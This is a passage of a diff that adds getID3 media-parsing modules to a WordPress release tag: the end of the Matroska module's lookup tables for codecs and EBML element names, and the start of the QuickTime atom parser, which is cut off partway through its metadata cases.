+			$TargetTypeValue[60] = 'A:edition/issue/volume/opus ~ V:season/sequel/volume';  // a list of lower levels grouped together
+			$TargetTypeValue[70] = 'A:collection ~ V:collection';                           // the high hierarchy consisting of many different lower items
+		}
+		return (isset($TargetTypeValue[$target_type]) ? $TargetTypeValue[$target_type] : $target_type);
+	}
+
+	public static function BlockLacingType($lacingtype) {
+		// http://matroska.org/technical/specs/index.html#block_structure
+		static $BlockLacingType = array();
+		if (empty($BlockLacingType)) {
+			$BlockLacingType[0x00] = 'no lacing';
+			$BlockLacingType[0x01] = 'Xiph lacing';
+			$BlockLacingType[0x02] = 'fixed-size lacing';
+			$BlockLacingType[0x03] = 'EBML lacing';
+		}
+		return (isset($BlockLacingType[$lacingtype]) ? $BlockLacingType[$lacingtype] : $lacingtype);
+	}
+
+	public static function CodecIDtoCommonName($codecid) {
+		// http://www.matroska.org/technical/specs/codecid/index.html
+		static $CodecIDlist = array();
+		if (empty($CodecIDlist)) {
+			$CodecIDlist['A_AAC']            = 'aac';
+			$CodecIDlist['A_AAC/MPEG2/LC']   = 'aac';
+			$CodecIDlist['A_AC3']            = 'ac3';
+			$CodecIDlist['A_DTS']            = 'dts';
+			$CodecIDlist['A_FLAC']           = 'flac';
+			$CodecIDlist['A_MPEG/L1']        = 'mp1';
+			$CodecIDlist['A_MPEG/L2']        = 'mp2';
+			$CodecIDlist['A_MPEG/L3']        = 'mp3';
+			$CodecIDlist['A_PCM/INT/LIT']    = 'pcm';       // PCM Integer Little Endian
+			$CodecIDlist['A_PCM/INT/BIG']    = 'pcm';       // PCM Integer Big Endian
+			$CodecIDlist['A_QUICKTIME/QDMC'] = 'quicktime'; // Quicktime: QDesign Music
+			$CodecIDlist['A_QUICKTIME/QDM2'] = 'quicktime'; // Quicktime: QDesign Music v2
+			$CodecIDlist['A_VORBIS']         = 'vorbis';
+			$CodecIDlist['V_MPEG1']          = 'mpeg';
+			$CodecIDlist['V_THEORA']         = 'theora';
+			$CodecIDlist['V_REAL/RV40']      = 'real';
+			$CodecIDlist['V_REAL/RV10']      = 'real';
+			$CodecIDlist['V_REAL/RV20']      = 'real';
+			$CodecIDlist['V_REAL/RV30']      = 'real';
+			$CodecIDlist['V_QUICKTIME']      = 'quicktime'; // Quicktime
+			$CodecIDlist['V_MPEG4/ISO/AP']   = 'mpeg4';
+			$CodecIDlist['V_MPEG4/ISO/ASP']  = 'mpeg4';
+			$CodecIDlist['V_MPEG4/ISO/AVC']  = 'h264';
+			$CodecIDlist['V_MPEG4/ISO/SP']   = 'mpeg4';
+			$CodecIDlist['V_VP8']            = 'vp8';
+			$CodecIDlist['V_MS/VFW/FOURCC']  = 'vcm'; // Microsoft (TM) Video Codec Manager (VCM)
+			$CodecIDlist['A_MS/ACM']         = 'acm'; // Microsoft (TM) Audio Codec Manager (ACM)
+		}
+		return (isset($CodecIDlist[$codecid]) ? $CodecIDlist[$codecid] : $codecid);
+	}
+
+	private static function EBMLidName($value) {
+		static $EBMLidList = array();
+		if (empty($EBMLidList)) {
+			$EBMLidList[EBML_ID_ASPECTRATIOTYPE]            = 'AspectRatioType';
+			$EBMLidList[EBML_ID_ATTACHEDFILE]               = 'AttachedFile';
+			$EBMLidList[EBML_ID_ATTACHMENTLINK]             = 'AttachmentLink';
+			$EBMLidList[EBML_ID_ATTACHMENTS]                = 'Attachments';
+			$EBMLidList[EBML_ID_AUDIO]                      = 'Audio';
+			$EBMLidList[EBML_ID_BITDEPTH]                   = 'BitDepth';
+			$EBMLidList[EBML_ID_CHANNELPOSITIONS]           = 'ChannelPositions';
+			$EBMLidList[EBML_ID_CHANNELS]                   = 'Channels';
+			$EBMLidList[EBML_ID_CHAPCOUNTRY]                = 'ChapCountry';
+			$EBMLidList[EBML_ID_CHAPLANGUAGE]               = 'ChapLanguage';
+			$EBMLidList[EBML_ID_CHAPPROCESS]                = 'ChapProcess';
+			$EBMLidList[EBML_ID_CHAPPROCESSCODECID]         = 'ChapProcessCodecID';
+			$EBMLidList[EBML_ID_CHAPPROCESSCOMMAND]         = 'ChapProcessCommand';
+			$EBMLidList[EBML_ID_CHAPPROCESSDATA]            = 'ChapProcessData';
+			$EBMLidList[EBML_ID_CHAPPROCESSPRIVATE]         = 'ChapProcessPrivate';
+			$EBMLidList[EBML_ID_CHAPPROCESSTIME]            = 'ChapProcessTime';
+			$EBMLidList[EBML_ID_CHAPSTRING]                 = 'ChapString';
+			$EBMLidList[EBML_ID_CHAPTERATOM]                = 'ChapterAtom';
+			$EBMLidList[EBML_ID_CHAPTERDISPLAY]             = 'ChapterDisplay';
+			$EBMLidList[EBML_ID_CHAPTERFLAGENABLED]         = 'ChapterFlagEnabled';
+			$EBMLidList[EBML_ID_CHAPTERFLAGHIDDEN]          = 'ChapterFlagHidden';
+			$EBMLidList[EBML_ID_CHAPTERPHYSICALEQUIV]       = 'ChapterPhysicalEquiv';
+			$EBMLidList[EBML_ID_CHAPTERS]                   = 'Chapters';
+			$EBMLidList[EBML_ID_CHAPTERSEGMENTEDITIONUID]   = 'ChapterSegmentEditionUID';
+			$EBMLidList[EBML_ID_CHAPTERSEGMENTUID]          = 'ChapterSegmentUID';
+			$EBMLidList[EBML_ID_CHAPTERTIMEEND]             = 'ChapterTimeEnd';
+			$EBMLidList[EBML_ID_CHAPTERTIMESTART]           = 'ChapterTimeStart';
+			$EBMLidList[EBML_ID_CHAPTERTRACK]               = 'ChapterTrack';
+			$EBMLidList[EBML_ID_CHAPTERTRACKNUMBER]         = 'ChapterTrackNumber';
+			$EBMLidList[EBML_ID_CHAPTERTRANSLATE]           = 'ChapterTranslate';
+			$EBMLidList[EBML_ID_CHAPTERTRANSLATECODEC]      = 'ChapterTranslateCodec';
+			$EBMLidList[EBML_ID_CHAPTERTRANSLATEEDITIONUID] = 'ChapterTranslateEditionUID';
+			$EBMLidList[EBML_ID_CHAPTERTRANSLATEID]         = 'ChapterTranslateID';
+			$EBMLidList[EBML_ID_CHAPTERUID]                 = 'ChapterUID';
+			$EBMLidList[EBML_ID_CLUSTER]                    = 'Cluster';
+			$EBMLidList[EBML_ID_CLUSTERBLOCK]               = 'ClusterBlock';
+			$EBMLidList[EBML_ID_CLUSTERBLOCKADDID]          = 'ClusterBlockAddID';
+			$EBMLidList[EBML_ID_CLUSTERBLOCKADDITIONAL]     = 'ClusterBlockAdditional';
+			$EBMLidList[EBML_ID_CLUSTERBLOCKADDITIONID]     = 'ClusterBlockAdditionID';
+			$EBMLidList[EBML_ID_CLUSTERBLOCKADDITIONS]      = 'ClusterBlockAdditions';
+			$EBMLidList[EBML_ID_CLUSTERBLOCKDURATION]       = 'ClusterBlockDuration';
+			$EBMLidList[EBML_ID_CLUSTERBLOCKGROUP]          = 'ClusterBlockGroup';
+			$EBMLidList[EBML_ID_CLUSTERBLOCKMORE]           = 'ClusterBlockMore';
+			$EBMLidList[EBML_ID_CLUSTERBLOCKVIRTUAL]        = 'ClusterBlockVirtual';
+			$EBMLidList[EBML_ID_CLUSTERCODECSTATE]          = 'ClusterCodecState';
+			$EBMLidList[EBML_ID_CLUSTERDELAY]               = 'ClusterDelay';
+			$EBMLidList[EBML_ID_CLUSTERDURATION]            = 'ClusterDuration';
+			$EBMLidList[EBML_ID_CLUSTERENCRYPTEDBLOCK]      = 'ClusterEncryptedBlock';
+			$EBMLidList[EBML_ID_CLUSTERFRAMENUMBER]         = 'ClusterFrameNumber';
+			$EBMLidList[EBML_ID_CLUSTERLACENUMBER]          = 'ClusterLaceNumber';
+			$EBMLidList[EBML_ID_CLUSTERPOSITION]            = 'ClusterPosition';
+			$EBMLidList[EBML_ID_CLUSTERPREVSIZE]            = 'ClusterPrevSize';
+			$EBMLidList[EBML_ID_CLUSTERREFERENCEBLOCK]      = 'ClusterReferenceBlock';
+			$EBMLidList[EBML_ID_CLUSTERREFERENCEPRIORITY]   = 'ClusterReferencePriority';
+			$EBMLidList[EBML_ID_CLUSTERREFERENCEVIRTUAL]    = 'ClusterReferenceVirtual';
+			$EBMLidList[EBML_ID_CLUSTERSILENTTRACKNUMBER]   = 'ClusterSilentTrackNumber';
+			$EBMLidList[EBML_ID_CLUSTERSILENTTRACKS]        = 'ClusterSilentTracks';
+			$EBMLidList[EBML_ID_CLUSTERSIMPLEBLOCK]         = 'ClusterSimpleBlock';
+			$EBMLidList[EBML_ID_CLUSTERTIMECODE]            = 'ClusterTimecode';
+			$EBMLidList[EBML_ID_CLUSTERTIMESLICE]           = 'ClusterTimeSlice';
+			$EBMLidList[EBML_ID_CODECDECODEALL]             = 'CodecDecodeAll';
+			$EBMLidList[EBML_ID_CODECDOWNLOADURL]           = 'CodecDownloadURL';
+			$EBMLidList[EBML_ID_CODECID]                    = 'CodecID';
+			$EBMLidList[EBML_ID_CODECINFOURL]               = 'CodecInfoURL';
+			$EBMLidList[EBML_ID_CODECNAME]                  = 'CodecName';
+			$EBMLidList[EBML_ID_CODECPRIVATE]               = 'CodecPrivate';
+			$EBMLidList[EBML_ID_CODECSETTINGS]              = 'CodecSettings';
+			$EBMLidList[EBML_ID_COLOURSPACE]                = 'ColourSpace';
+			$EBMLidList[EBML_ID_CONTENTCOMPALGO]            = 'ContentCompAlgo';
+			$EBMLidList[EBML_ID_CONTENTCOMPRESSION]         = 'ContentCompression';
+			$EBMLidList[EBML_ID_CONTENTCOMPSETTINGS]        = 'ContentCompSettings';
+			$EBMLidList[EBML_ID_CONTENTENCALGO]             = 'ContentEncAlgo';
+			$EBMLidList[EBML_ID_CONTENTENCKEYID]            = 'ContentEncKeyID';
+			$EBMLidList[EBML_ID_CONTENTENCODING]            = 'ContentEncoding';
+			$EBMLidList[EBML_ID_CONTENTENCODINGORDER]       = 'ContentEncodingOrder';
+			$EBMLidList[EBML_ID_CONTENTENCODINGS]           = 'ContentEncodings';
+			$EBMLidList[EBML_ID_CONTENTENCODINGSCOPE]       = 'ContentEncodingScope';
+			$EBMLidList[EBML_ID_CONTENTENCODINGTYPE]        = 'ContentEncodingType';
+			$EBMLidList[EBML_ID_CONTENTENCRYPTION]          = 'ContentEncryption';
+			$EBMLidList[EBML_ID_CONTENTSIGALGO]             = 'ContentSigAlgo';
+			$EBMLidList[EBML_ID_CONTENTSIGHASHALGO]         = 'ContentSigHashAlgo';
+			$EBMLidList[EBML_ID_CONTENTSIGKEYID]            = 'ContentSigKeyID';
+			$EBMLidList[EBML_ID_CONTENTSIGNATURE]           = 'ContentSignature';
+			$EBMLidList[EBML_ID_CRC32]                      = 'CRC32';
+			$EBMLidList[EBML_ID_CUEBLOCKNUMBER]             = 'CueBlockNumber';
+			$EBMLidList[EBML_ID_CUECLUSTERPOSITION]         = 'CueClusterPosition';
+			$EBMLidList[EBML_ID_CUECODECSTATE]              = 'CueCodecState';
+			$EBMLidList[EBML_ID_CUEPOINT]                   = 'CuePoint';
+			$EBMLidList[EBML_ID_CUEREFCLUSTER]              = 'CueRefCluster';
+			$EBMLidList[EBML_ID_CUEREFCODECSTATE]           = 'CueRefCodecState';
+			$EBMLidList[EBML_ID_CUEREFERENCE]               = 'CueReference';
+			$EBMLidList[EBML_ID_CUEREFNUMBER]               = 'CueRefNumber';
+			$EBMLidList[EBML_ID_CUEREFTIME]                 = 'CueRefTime';
+			$EBMLidList[EBML_ID_CUES]                       = 'Cues';
+			$EBMLidList[EBML_ID_CUETIME]                    = 'CueTime';
+			$EBMLidList[EBML_ID_CUETRACK]                   = 'CueTrack';
+			$EBMLidList[EBML_ID_CUETRACKPOSITIONS]          = 'CueTrackPositions';
+			$EBMLidList[EBML_ID_DATEUTC]                    = 'DateUTC';
+			$EBMLidList[EBML_ID_DEFAULTDURATION]            = 'DefaultDuration';
+			$EBMLidList[EBML_ID_DISPLAYHEIGHT]              = 'DisplayHeight';
+			$EBMLidList[EBML_ID_DISPLAYUNIT]                = 'DisplayUnit';
+			$EBMLidList[EBML_ID_DISPLAYWIDTH]               = 'DisplayWidth';
+			$EBMLidList[EBML_ID_DOCTYPE]                    = 'DocType';
+			$EBMLidList[EBML_ID_DOCTYPEREADVERSION]         = 'DocTypeReadVersion';
+			$EBMLidList[EBML_ID_DOCTYPEVERSION]             = 'DocTypeVersion';
+			$EBMLidList[EBML_ID_DURATION]                   = 'Duration';
+			$EBMLidList[EBML_ID_EBML]                       = 'EBML';
+			$EBMLidList[EBML_ID_EBMLMAXIDLENGTH]            = 'EBMLMaxIDLength';
+			$EBMLidList[EBML_ID_EBMLMAXSIZELENGTH]          = 'EBMLMaxSizeLength';
+			$EBMLidList[EBML_ID_EBMLREADVERSION]            = 'EBMLReadVersion';
+			$EBMLidList[EBML_ID_EBMLVERSION]                = 'EBMLVersion';
+			$EBMLidList[EBML_ID_EDITIONENTRY]               = 'EditionEntry';
+			$EBMLidList[EBML_ID_EDITIONFLAGDEFAULT]         = 'EditionFlagDefault';
+			$EBMLidList[EBML_ID_EDITIONFLAGHIDDEN]          = 'EditionFlagHidden';
+			$EBMLidList[EBML_ID_EDITIONFLAGORDERED]         = 'EditionFlagOrdered';
+			$EBMLidList[EBML_ID_EDITIONUID]                 = 'EditionUID';
+			$EBMLidList[EBML_ID_FILEDATA]                   = 'FileData';
+			$EBMLidList[EBML_ID_FILEDESCRIPTION]            = 'FileDescription';
+			$EBMLidList[EBML_ID_FILEMIMETYPE]               = 'FileMimeType';
+			$EBMLidList[EBML_ID_FILENAME]                   = 'FileName';
+			$EBMLidList[EBML_ID_FILEREFERRAL]               = 'FileReferral';
+			$EBMLidList[EBML_ID_FILEUID]                    = 'FileUID';
+			$EBMLidList[EBML_ID_FLAGDEFAULT]                = 'FlagDefault';
+			$EBMLidList[EBML_ID_FLAGENABLED]                = 'FlagEnabled';
+			$EBMLidList[EBML_ID_FLAGFORCED]                 = 'FlagForced';
+			$EBMLidList[EBML_ID_FLAGINTERLACED]             = 'FlagInterlaced';
+			$EBMLidList[EBML_ID_FLAGLACING]                 = 'FlagLacing';
+			$EBMLidList[EBML_ID_GAMMAVALUE]                 = 'GammaValue';
+			$EBMLidList[EBML_ID_INFO]                       = 'Info';
+			$EBMLidList[EBML_ID_LANGUAGE]                   = 'Language';
+			$EBMLidList[EBML_ID_MAXBLOCKADDITIONID]         = 'MaxBlockAdditionID';
+			$EBMLidList[EBML_ID_MAXCACHE]                   = 'MaxCache';
+			$EBMLidList[EBML_ID_MINCACHE]                   = 'MinCache';
+			$EBMLidList[EBML_ID_MUXINGAPP]                  = 'MuxingApp';
+			$EBMLidList[EBML_ID_NAME]                       = 'Name';
+			$EBMLidList[EBML_ID_NEXTFILENAME]               = 'NextFilename';
+			$EBMLidList[EBML_ID_NEXTUID]                    = 'NextUID';
+			$EBMLidList[EBML_ID_OUTPUTSAMPLINGFREQUENCY]    = 'OutputSamplingFrequency';
+			$EBMLidList[EBML_ID_PIXELCROPBOTTOM]            = 'PixelCropBottom';
+			$EBMLidList[EBML_ID_PIXELCROPLEFT]              = 'PixelCropLeft';
+			$EBMLidList[EBML_ID_PIXELCROPRIGHT]             = 'PixelCropRight';
+			$EBMLidList[EBML_ID_PIXELCROPTOP]               = 'PixelCropTop';
+			$EBMLidList[EBML_ID_PIXELHEIGHT]                = 'PixelHeight';
+			$EBMLidList[EBML_ID_PIXELWIDTH]                 = 'PixelWidth';
+			$EBMLidList[EBML_ID_PREVFILENAME]               = 'PrevFilename';
+			$EBMLidList[EBML_ID_PREVUID]                    = 'PrevUID';
+			$EBMLidList[EBML_ID_SAMPLINGFREQUENCY]          = 'SamplingFrequency';
+			$EBMLidList[EBML_ID_SEEK]                       = 'Seek';
+			$EBMLidList[EBML_ID_SEEKHEAD]                   = 'SeekHead';
+			$EBMLidList[EBML_ID_SEEKID]                     = 'SeekID';
+			$EBMLidList[EBML_ID_SEEKPOSITION]               = 'SeekPosition';
+			$EBMLidList[EBML_ID_SEGMENT]                    = 'Segment';
+			$EBMLidList[EBML_ID_SEGMENTFAMILY]              = 'SegmentFamily';
+			$EBMLidList[EBML_ID_SEGMENTFILENAME]            = 'SegmentFilename';
+			$EBMLidList[EBML_ID_SEGMENTUID]                 = 'SegmentUID';
+			$EBMLidList[EBML_ID_SIMPLETAG]                  = 'SimpleTag';
+			$EBMLidList[EBML_ID_CLUSTERSLICES]              = 'ClusterSlices';
+			$EBMLidList[EBML_ID_STEREOMODE]                 = 'StereoMode';
+			$EBMLidList[EBML_ID_OLDSTEREOMODE]              = 'OldStereoMode';
+			$EBMLidList[EBML_ID_TAG]                        = 'Tag';
+			$EBMLidList[EBML_ID_TAGATTACHMENTUID]           = 'TagAttachmentUID';
+			$EBMLidList[EBML_ID_TAGBINARY]                  = 'TagBinary';
+			$EBMLidList[EBML_ID_TAGCHAPTERUID]              = 'TagChapterUID';
+			$EBMLidList[EBML_ID_TAGDEFAULT]                 = 'TagDefault';
+			$EBMLidList[EBML_ID_TAGEDITIONUID]              = 'TagEditionUID';
+			$EBMLidList[EBML_ID_TAGLANGUAGE]                = 'TagLanguage';
+			$EBMLidList[EBML_ID_TAGNAME]                    = 'TagName';
+			$EBMLidList[EBML_ID_TAGTRACKUID]                = 'TagTrackUID';
+			$EBMLidList[EBML_ID_TAGS]                       = 'Tags';
+			$EBMLidList[EBML_ID_TAGSTRING]                  = 'TagString';
+			$EBMLidList[EBML_ID_TARGETS]                    = 'Targets';
+			$EBMLidList[EBML_ID_TARGETTYPE]                 = 'TargetType';
+			$EBMLidList[EBML_ID_TARGETTYPEVALUE]            = 'TargetTypeValue';
+			$EBMLidList[EBML_ID_TIMECODESCALE]              = 'TimecodeScale';
+			$EBMLidList[EBML_ID_TITLE]                      = 'Title';
+			$EBMLidList[EBML_ID_TRACKENTRY]                 = 'TrackEntry';
+			$EBMLidList[EBML_ID_TRACKNUMBER]                = 'TrackNumber';
+			$EBMLidList[EBML_ID_TRACKOFFSET]                = 'TrackOffset';
+			$EBMLidList[EBML_ID_TRACKOVERLAY]               = 'TrackOverlay';
+			$EBMLidList[EBML_ID_TRACKS]                     = 'Tracks';
+			$EBMLidList[EBML_ID_TRACKTIMECODESCALE]         = 'TrackTimecodeScale';
+			$EBMLidList[EBML_ID_TRACKTRANSLATE]             = 'TrackTranslate';
+			$EBMLidList[EBML_ID_TRACKTRANSLATECODEC]        = 'TrackTranslateCodec';
+			$EBMLidList[EBML_ID_TRACKTRANSLATEEDITIONUID]   = 'TrackTranslateEditionUID';
+			$EBMLidList[EBML_ID_TRACKTRANSLATETRACKID]      = 'TrackTranslateTrackID';
+			$EBMLidList[EBML_ID_TRACKTYPE]                  = 'TrackType';
+			$EBMLidList[EBML_ID_TRACKUID]                   = 'TrackUID';
+			$EBMLidList[EBML_ID_VIDEO]                      = 'Video';
+			$EBMLidList[EBML_ID_VOID]                       = 'Void';
+			$EBMLidList[EBML_ID_WRITINGAPP]                 = 'WritingApp';
+		}
+
+		return (isset($EBMLidList[$value]) ? $EBMLidList[$value] : dechex($value));
+	}
+
+	public static function displayUnit($value) {
+		// http://www.matroska.org/technical/specs/index.html#DisplayUnit
+		static $units = array(
+			0 => 'pixels',
+			1 => 'centimeters',
+			2 => 'inches',
+			3 => 'Display Aspect Ratio');
+
+		return (isset($units[$value]) ? $units[$value] : 'unknown');
+	}
+
+	private static function getDefaultStreamInfo($streams)
+	{
+		foreach (array_reverse($streams) as $stream) {
+			if ($stream['default']) {
+				break;
+			}
+		}
+
+		$unset = array('default', 'name');
+		foreach ($unset as $u) {
+			if (isset($stream[$u])) {
+				unset($stream[$u]);
+			}
+		}
+
+		$info = $stream;
+		$info['streams'] = $streams;
+
+		return $info;
+	}
+
+}
Index: /tags/4.1.6/src/wp-includes/ID3/module.audio-video.quicktime.php
===================================================================
--- /tags/4.1.6/src/wp-includes/ID3/module.audio-video.quicktime.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/ID3/module.audio-video.quicktime.php	(revision 33402)
@@ -0,0 +1,2248 @@
+<?php
+/////////////////////////////////////////////////////////////////
+/// getID3() by James Heinrich <info@getid3.org>               //
+//  available at http://getid3.sourceforge.net                 //
+//            or http://www.getid3.org                         //
+//          also https://github.com/JamesHeinrich/getID3       //
+/////////////////////////////////////////////////////////////////
+// See readme.txt for more details                             //
+/////////////////////////////////////////////////////////////////
+//                                                             //
+// module.audio-video.quicktime.php                            //
+// module for analyzing Quicktime and MP3-in-MP4 files         //
+// dependencies: module.audio.mp3.php                          //
+// dependencies: module.tag.id3v2.php                          //
+//                                                            ///
+/////////////////////////////////////////////////////////////////
+
+getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.mp3.php', __FILE__, true);
+getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.id3v2.php', __FILE__, true); // needed for ISO 639-2 language code lookup
+
+class getid3_quicktime extends getid3_handler
+{
+
+	public $ReturnAtomData        = true;
+	public $ParseAllPossibleAtoms = false;
+
+	public function Analyze() {
+		$info = &$this->getid3->info;
+
+		$info['fileformat'] = 'quicktime';
+		$info['quicktime']['hinting']    = false;
+		$info['quicktime']['controller'] = 'standard'; // may be overridden if 'ctyp' atom is present
+
+		$this->fseek($info['avdataoffset']);
+
+		$offset      = 0;
+		$atomcounter = 0;
+
+		while ($offset < $info['avdataend']) {
+			if (!getid3_lib::intValueSupported($offset)) {
+				$info['error'][] = 'Unable to parse atom at offset '.$offset.' because beyond '.round(PHP_INT_MAX / 1073741824).'GB limit of PHP filesystem functions';
+				break;
+			}
+			$this->fseek($offset);
+			$AtomHeader = $this->fread(8);
+
+			$atomsize = getid3_lib::BigEndian2Int(substr($AtomHeader, 0, 4));
+			$atomname = substr($AtomHeader, 4, 4);
+
+			// 64-bit MOV patch by jlegateØktnc*com
+			if ($atomsize == 1) {
+				$atomsize = getid3_lib::BigEndian2Int($this->fread(8));
+			}
+
+			$info['quicktime'][$atomname]['name']   = $atomname;
+			$info['quicktime'][$atomname]['size']   = $atomsize;
+			$info['quicktime'][$atomname]['offset'] = $offset;
+
+			if (($offset + $atomsize) > $info['avdataend']) {
+				$info['error'][] = 'Atom at offset '.$offset.' claims to go beyond end-of-file (length: '.$atomsize.' bytes)';
+				return false;
+			}
+
+			if ($atomsize == 0) {
+				// Furthermore, for historical reasons the list of atoms is optionally
+				// terminated by a 32-bit integer set to 0. If you are writing a program
+				// to read user data atoms, you should allow for the terminating 0.
+				break;
+			}
+			$atomHierarchy = array();
+			$info['quicktime'][$atomname] = $this->QuicktimeParseAtom($atomname, $atomsize, $this->fread(min($atomsize, round($this->getid3->memory_limit / 2))), $offset, $atomHierarchy, $this->ParseAllPossibleAtoms);
+
+			$offset += $atomsize;
+			$atomcounter++;
+		}
+
+		if (!empty($info['avdataend_tmp'])) {
+			// this value is assigned to a temp value and then erased because
+			// otherwise any atoms beyond the 'mdat' atom would not get parsed
+			$info['avdataend'] = $info['avdataend_tmp'];
+			unset($info['avdataend_tmp']);
+		}
+
+		if (!isset($info['bitrate']) && isset($info['playtime_seconds'])) {
+			$info['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds'];
+		}
+		if (isset($info['bitrate']) && !isset($info['audio']['bitrate']) && !isset($info['quicktime']['video'])) {
+			$info['audio']['bitrate'] = $info['bitrate'];
+		}
+		if (!empty($info['playtime_seconds']) && !isset($info['video']['frame_rate']) && !empty($info['quicktime']['stts_framecount'])) {
+			foreach ($info['quicktime']['stts_framecount'] as $key => $samples_count) {
+				$samples_per_second = $samples_count / $info['playtime_seconds'];
+				if ($samples_per_second > 240) {
+					// has to be audio samples
+				} else {
+					$info['video']['frame_rate'] = $samples_per_second;
+					break;
+				}
+			}
+		}
+		if (($info['audio']['dataformat'] == 'mp4') && empty($info['video']['resolution_x'])) {
+			$info['fileformat'] = 'mp4';
+			$info['mime_type']  = 'audio/mp4';
+			unset($info['video']['dataformat']);
+		}
+
+		if (!$this->ReturnAtomData) {
+			unset($info['quicktime']['moov']);
+		}
+
+		if (empty($info['audio']['dataformat']) && !empty($info['quicktime']['audio'])) {
+			$info['audio']['dataformat'] = 'quicktime';
+		}
+		if (empty($info['video']['dataformat']) && !empty($info['quicktime']['video'])) {
+			$info['video']['dataformat'] = 'quicktime';
+		}
+
+		return true;
+	}
+
+	public function QuicktimeParseAtom($atomname, $atomsize, $atom_data, $baseoffset, &$atomHierarchy, $ParseAllPossibleAtoms) {
+		// http://developer.apple.com/techpubs/quicktime/qtdevdocs/APIREF/INDEX/atomalphaindex.htm
+
+		$info = &$this->getid3->info;
+
+		$atom_parent = end($atomHierarchy); // not array_pop($atomHierarchy); see http://www.getid3.org/phpBB3/viewtopic.php?t=1717
+		array_push($atomHierarchy, $atomname);
+		$atom_structure['hierarchy'] = implode(' ', $atomHierarchy);
+		$atom_structure['name']      = $atomname;
+		$atom_structure['size']      = $atomsize;
+		$atom_structure['offset']    = $baseoffset;
+		switch ($atomname) {
+			case 'moov': // MOVie container atom
+			case 'trak': // TRAcK container atom
+			case 'clip': // CLIPping container atom
+			case 'matt': // track MATTe container atom
+			case 'edts': // EDiTS container atom
+			case 'tref': // Track REFerence container atom
+			case 'mdia': // MeDIA container atom
+			case 'minf': // Media INFormation container atom
+			case 'dinf': // Data INFormation container atom
+			case 'udta': // User DaTA container atom
+			case 'cmov': // Compressed MOVie container atom
+			case 'rmra': // Reference Movie Record Atom
+			case 'rmda': // Reference Movie Descriptor Atom
+			case 'gmhd': // Generic Media info HeaDer atom (seen on QTVR)
+				$atom_structure['subatoms'] = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 8, $atomHierarchy, $ParseAllPossibleAtoms);
+				break;
+
+			case 'ilst': // Item LiST container atom
+				if ($atom_structure['subatoms'] = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 8, $atomHierarchy, $ParseAllPossibleAtoms)) {
+					// some "ilst" atoms contain data atoms that have a numeric name, and the data is far more accessible if the returned array is compacted
+					$allnumericnames = true;
+					foreach ($atom_structure['subatoms'] as $subatomarray) {
+						if (!is_integer($subatomarray['name']) || (count($subatomarray['subatoms']) != 1)) {
+							$allnumericnames = false;
+							break;
+						}
+					}
+					if ($allnumericnames) {
+						$newData = array();
+						foreach ($atom_structure['subatoms'] as $subatomarray) {
+							foreach ($subatomarray['subatoms'] as $newData_subatomarray) {
+								unset($newData_subatomarray['hierarchy'], $newData_subatomarray['name']);
+								$newData[$subatomarray['name']] = $newData_subatomarray;
+								break;
+							}
+						}
+						$atom_structure['data'] = $newData;
+						unset($atom_structure['subatoms']);
+					}
+				}
+				break;
+
+			case "\x00\x00\x00\x01":
+			case "\x00\x00\x00\x02":
+			case "\x00\x00\x00\x03":
+			case "\x00\x00\x00\x04":
+			case "\x00\x00\x00\x05":
+				$atomname = getid3_lib::BigEndian2Int($atomname);
+				$atom_structure['name'] = $atomname;
+				$atom_structure['subatoms'] = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 8, $atomHierarchy, $ParseAllPossibleAtoms);
+				break;
+
+			case 'stbl': // Sample TaBLe container atom
+				$atom_structure['subatoms'] = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 8, $atomHierarchy, $ParseAllPossibleAtoms);
+				$isVideo = false;
+				$framerate  = 0;
+				$framecount = 0;
+				foreach ($atom_structure['subatoms'] as $key => $value_array) {
+					if (isset($value_array['sample_description_table'])) {
+						foreach ($value_array['sample_description_table'] as $key2 => $value_array2) {
+							if (isset($value_array2['data_format'])) {
+								switch ($value_array2['data_format']) {
+									case 'avc1':
+									case 'mp4v':
+										// video data
+										$isVideo = true;
+										break;
+									case 'mp4a':
+										// audio data
+										break;
+								}
+							}
+						}
+					} elseif (isset($value_array['time_to_sample_table'])) {
+						foreach ($value_array['time_to_sample_table'] as $key2 => $value_array2) {
+							if (isset($value_array2['sample_count']) && isset($value_array2['sample_duration']) && ($value_array2['sample_duration'] > 0)) {
+								$framerate  = round($info['quicktime']['time_scale'] / $value_array2['sample_duration'], 3);
+								$framecount = $value_array2['sample_count'];
+							}
+						}
+					}
+				}
+				if ($isVideo && $framerate) {
+					$info['quicktime']['video']['frame_rate'] = $framerate;
+					$info['video']['frame_rate'] = $info['quicktime']['video']['frame_rate'];
+				}
+				if ($isVideo && $framecount) {
+					$info['quicktime']['video']['frame_count'] = $framecount;
+				}
+				break;
+
+
+			case 'aART': // Album ARTist
+			case 'catg': // CaTeGory
+			case 'covr': // COVeR artwork
+			case 'cpil': // ComPILation
+			case 'cprt': // CoPyRighT
+			case 'desc': // DESCription
+			case 'disk': // DISK number
+			case 'egid': // Episode Global ID
+			case 'gnre': // GeNRE
+			case 'keyw': // KEYWord
+			case 'ldes':
+			case 'pcst': // PodCaST
+			case 'pgap': // GAPless Playback
+			case 'purd': // PURchase Date
+			case 'purl': // Podcast URL
+			case 'rati':
+			case 'rndu':
+			case 'rpdu':
+			case 'rtng': // RaTiNG
+			case 'stik':
+			case 'tmpo': // TeMPO (BPM)
+			case 'trkn': // TRacK Number
+			case 'tves': // TV EpiSode
+			case 'tvnn': // TV Network Name
+			case 'tvsh': // TV SHow Name
+			case 'tvsn': // TV SeasoN
+			case 'akID': // iTunes store account type
+			case 'apID':
+			case 'atID':
+			case 'cmID':
+			case 'cnID':
+			case 'geID':
+			case 'plID':
+			case 'sfID': // iTunes store country
+			case "\xA9".'alb': // ALBum
+			case "\xA9".'art': // ARTist
+			case "\xA9".'ART':
+			case "\xA9".'aut':
+			case "\xA9".'cmt': // CoMmenT
+			case "\xA9".'com': // COMposer
+			case "\xA9".'cpy':
+			case "\xA9".'day': // content created year
+			case "\xA9".'dir':
+			case "\xA9".'ed1':
+			case "\xA9".'ed2':
+			case "\xA9".'ed3':
+			case "\xA9".'ed4':
+			case "\xA9".'ed5':
+			case "\xA9".'ed6':
+			case "\xA9".'ed7':
+			case "\xA9".'ed8':
